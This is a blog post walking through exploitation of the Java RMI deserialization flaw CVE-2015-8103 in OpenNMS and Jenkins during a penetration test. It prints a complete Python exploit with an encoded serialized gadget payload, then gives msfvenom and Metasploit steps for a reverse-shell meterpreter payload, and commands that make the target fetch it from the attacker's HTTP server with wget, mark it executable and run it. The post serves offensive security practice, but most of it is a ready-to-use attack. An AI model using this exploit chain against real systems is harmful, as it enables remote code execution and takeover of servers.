Even though this vulnerability was detected back in 2015 I am only starting to notice it popping up on engagements more frequently.
CVE-2015-8103 – Jenkins CLI – RMI Java Deserialization allows remote attackers to execute arbitrary code via a crafted serialized Java object. Apparently, according to Foxglove security Jenkins and OpenNMS are not the only ones that are affected by this issue, Websphere, Weblogic and JBoss are also affected.
Whilst on a recent engagement I tried using the Metasploit module which was readily available but had problems running I then tried another module which was written by Ben Turner also to no avail, I am really not sure why those modules didn’t work for me but I had no time to debug and had to get something that worked sharpish, So I had to look for other ways and here I will show you what I came up with.
The Exploit
Firstly we need a working exploit. The python script I found by Coalfire Labs worked a treat for me and allowed me to send the commands needed to gain a shell over to the affected server.
Here’s what the code looks like thanks to Pancho
#! /usr/bin/env python3 # Credits: # http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#opennms # nessus/plugins/opennms_java_serialize.nasl # cobbled together by pancho import socket import sys def build(cmd): blob_header = '\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x00\x00\x00\x50\xac\xed\x00\x05\x77\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x44\x15\x4d\xc9\xd4\xe6\x3b\xdf\x74\x00\x05\x70\x77\x6e\x65\x64\x73\x7d\x00\x00\x00\x01\x00\x0f\x6a\x61\x76\x61\x2e\x72\x6d\x69\x2e\x52\x65\x6d\x6f\x74\x65\x70\x78\x72\x00\x17\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x50\x72\x6f\x78\x79\xe1\x27\xda\x20\xcc\x10\x43\xcb\x02\x00\x01\x4c\x00\x01\x68\x74\x00\x25\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x72\x65\x66\x6c\x65\x63\x74\x2f\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x3b\x70\x78\x70\x73\x72\x00\x32\x73\x75\x6e\x2e\x72\x65\x66\x6c\x65\x63\x74\x2e\x61\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x2e\x41\x6e\x6e\x6f\x74\x61\x74\x69\x6f\x6e\x49\x6e\x76\x6f\x63\x61\x74\x69\x6f\x6e\x48\x61\x6e\x64\x6c\x65\x72\x55\xca\xf5\x0f\x15\xcb\x7e\xa5\x02\x00\x02\x4c\x00\x0c\x6d\x65\x6d\x62\x65\x72\x56\x61\x6c\x75\x65\x73\x74\x00\x0f\x4c\x6a\x61\x76\x61\x2f\x75\x74\x69\x6c\x2f\x4d\x61\x70\x3b\x4c\x00\x04\x74\x79\x70\x65\x74\x00\x11\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x70\x78\x70\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x48\x61\x73\x68\x4d\x61\x70\x05\x07\xda\xc1\xc3\x16\x60\xd1\x03\x00\x02\x46\x00\x0a\x6c\x6f\x61\x64\x46\x61\x63\x74\x6f\x72\x49\x00\x09\x74\x68\x72\x65\x73\x68\x6f\x6c\x64\x70\x78\x70\x3f\x40\x00\x00\x00\x00\x00\x0c\x77\x08\x00\x00\x00\x10\x00\x00\x00\x01\x71\x00\x7e\x00\x00\x73\x71\x00\x7e\x00\x05\x73\x7d\x00\x00\x00\x01\x00\x0d\x6a\x61\x76\x61\x2e\x75\x74\x69\x6c\x2e\x4d\x61\x70\x70\x78\x71\x00\x7e\x00\x02\x73\x71\x00\x7e\x00\x05\x73\x72\x00\x2a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x6d\x61\x70\x2e\x4c\x61\x7a\x79\x4d\x61\x70\x6e\xe5\x94\x82\x9e\x79\x10\x94\x03\x00\x01\x4c\x00\x07\x66\x61\x63\x74\x6f\x72\x79\x74\x00\x2c\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x70\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x68\x61\x69\x6e\x65\x64\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x30\xc7\x97\xec\x28\x7a\x97\x04\x02\x00\x01\x5b\x00\x0d\x69\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x73\x74\x00\x2d\x5b\x4c\x6f\x72\x67\x2f\x61\x70\x61\x63\x68\x65\x2f\x63\x6f\x6d\x6d\x6f\x6e\x73\x2f\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2f\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\x70\x78\x70\x75\x72\x00\x2d\x5b\x4c\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x3b\xbd\x56\x2a\xf1\xd8\x34\x18\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x05\x73\x72\x00\x3b\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x43\x6f\x6e\x73\x74\x61\x6e\x74\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x58\x76\x90\x11\x41\x02\xb1\x94\x02\x00\x01\x4c\x00\x09\x69\x43\x6f\x6e\x73\x74\x61\x6e\x74\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x70\x78\x70\x76\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x52\x75\x6e\x74\x69\x6d\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x73\x72\x00\x3a\x6f\x72\x67\x2e\x61\x70\x61\x63\x68\x65\x2e\x63\x6f\x6d\x6d\x6f\x6e\x73\x2e\x63\x6f\x6c\x6c\x65\x63\x74\x69\x6f\x6e\x73\x2e\x66\x75\x6e\x63\x74\x6f\x72\x73\x2e\x49\x6e\x76\x6f\x6b\x65\x72\x54\x72\x61\x6e\x73\x66\x6f\x72\x6d\x65\x72\x87\xe8\xff\x6b\x7b\x7c\xce\x38\x02\x00\x03\x5b\x00\x05\x69\x41\x72\x67\x73\x74\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x4f\x62\x6a\x65\x63\x74\x3b\x4c\x00\x0b\x69\x4d\x65\x74\x68\x6f\x64\x4e\x61\x6d\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x0b\x69\x50\x61\x72\x61\x6d\x54\x79\x70\x65\x73\x74\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x43\x6c\x61\x73\x73\x3b\x70\x78\x70\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x3b\x90\xce\x58\x9f\x10\x73\x29\x6c\x02\x00\x00\x70\x78\x70\x00\x00\x00\x02\x74\x00\x0a\x67\x65\x74\x52\x75\x6e\x74\x69\x6d\x65\x75\x72\x00\x12\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x43\x6c\x61\x73\x73\x3b\xab\x16\xd7\xae\xcb\xcd\x5a\x99\x02\x00\x00\x70\x78\x70\x00\x00\x00\x00\x74\x00\x09\x67\x65\x74\x4d\x65\x74\x68\x6f\x64\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\xa0\xf0\xa4\x38\x7a\x3b\xb3\x42\x02\x00\x00\x70\x78\x70\x76\x71\x00\x7e\x00\x24\x73\x71\x00\x7e\x00\x1c\x75\x71\x00\x7e\x00\x21\x00\x00\x00\x02\x70\x75\x71\x00\x7e\x00\x21\x00\x00\x00\x00\x74\x00\x06\x69\x6e\x76\x6f\x6b\x65\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x02\x76\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x62\x6a\x65\x63\x74\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x76\x71\x00\x7e\x00\x21\x73\x71\x00\x7e\x00\x1c\x75\x72\x00\x13\x5b\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\xad\xd2\x56\xe7\xe9\x1d\x7b\x47\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x74' blob_footer = '\x74\x00\x04\x65\x78\x65\x63\x75\x71\x00\x7e\x00\x24\x00\x00\x00\x01\x71\x00\x7e\x00\x29\x73\x71\x00\x7e\x00\x17\x73\x72\x00\x11\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x49\x6e\x74\x65\x67\x65\x72\x12\xe2\xa0\xa4\xf7\x81\x87\x38\x02\x00\x01\x49\x00\x05\x76\x61\x6c\x75\x65\x70\x78\x72\x00\x10\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4e\x75\x6d\x62\x65\x72\x86\xac\x95\x1d\x0b\x94\xe0\x8b\x02\x00\x00\x70\x78\x70\x00\x00\x00\x01\x73\x71\x00\x7e\x00\x09\x3f\x40\x00\x00\x00\x00\x00\x10\x77\x08\x00\x00\x00\x10\x00\x00\x00\x00\x78\x78\x76\x72\x00\x12\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x4f\x76\x65\x72\x72\x69\x64\x65\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x78\x70\x71\x00\x7e\x00\x3f\x78\x71\x00\x7e\x00\x3f' return blob_header + '\x00' + chr(len(cmd)) + cmd + blob_footer def exploit(cmd, host): blob_prologue = '\x4a\x52\x4d\x49\x00\x02\x4b' packet = build(cmd) sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, 1099)) sock.send(blob_prologue) sock.recv(8192) sock.send(packet) sock.close() def main(): print('OpenNMS Java Object Unserialization RCE implemented by pancho') if len(sys.argv) != 3: print('usage: python3 ' + sys.argv[0] + ' host cmd') return host = sys.argv[1] cmd = sys.argv[2] packet = build(cmd) exploit(cmd, host) if __name__ == "__main__": main()
Before we go ahead and run the exploit there are a few things we need to setup.
Setting the Stage
We will go ahead and use msf_venom to create the payload, type the following and make sure msf_venom is in your path. If it isn’t, then do the following first.
cd /usr/share/metasploit-framework
Okay, let’s go ahead and create the payload for our vulnerable Linux system.
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > payload
Once ran, you should have some output from venom telling you it’s saved the payload with no errors as per below.
Cool! That’s your payload created, now we need to create a handler for your shiny new payload.
Let’s fire up Metasploit, remember to start the database first.
service postgresql start
Then
msfconsole
Once you’re at the MSF console we need to load the handler
use exploit/multi/handler
Now let’s tell it what payload we want to use.
set PAYLOAD linux/x86/meterpreter/reverse_tcp
We now need to set some parameters for the payload handler such as the IP and Port. This will be the same IP and Port that you used when you created your payload with MSF_Venom.
show options
Let’s set the LHOST and LPORT parameters to those that we used in the MSF_Venom Payload.
set LHOST 192.168.0.1
set LPORT 8081
Double check that the settings have been set with the command..
show options
Ok, they’re set, let’s run the handler.
run
Recap
- We have created our Payload to send to the vulnerable system
- We have created a handler for the payload to connect to
Now we need to send our payload to the vulnerable system via the exploit we downloaded earlier in the article.
Exploiting the System
Fire up another terminal and leave the handler in the previous session running.
Navigate to the directory where you created your payload and fire up a simple HTTP server with the help of python
python -m SimpleHTTPServer 80
You now have functional HTTP server running, we’re now going to use the exploit script to send commands to the vulnerable server, we will grab our payload file, change it’s permissions and then execute it all via the exploit python code.
Launch a new terminal window and navigate to the directory where you stored your exploit code and issue the following command to grab the payload file.
Please Note: Your python file will be named differently
python opennms.py IP_OF_OpenNMS 'wget http://yourlocalIP/yourpayload'
In your SimpleHTTPServer window, you should see a GET request with the status ‘200’
"GET / HTTP/1.1" 200 -
This means the vulnerable server has executed our wget command and grabbed the file from us.
Let’s make it executable (We’re working blind here as there is no output from the server via the exploit code)
python opennms.py IP_OF_OpenNMS 'chmod +x'
Then execute and hope for the best 🙂
python opennms.py IP_OF_OpenNMS './payload'
Let’s have a look at the terminal session where our handler has been waiting. If the job was successful then you should be greeted with a meterpreter session.
Now it’s up to you where you go from here depending on the context of the user you are.
I hope this helped some of you. If you have any tips/tricks on easier/quicker methods or anything you would do differently please get in touch or comment below.
One thought on “Exploiting the OpenNMS/Jenkins RMI Java Deserialization Vulnerability”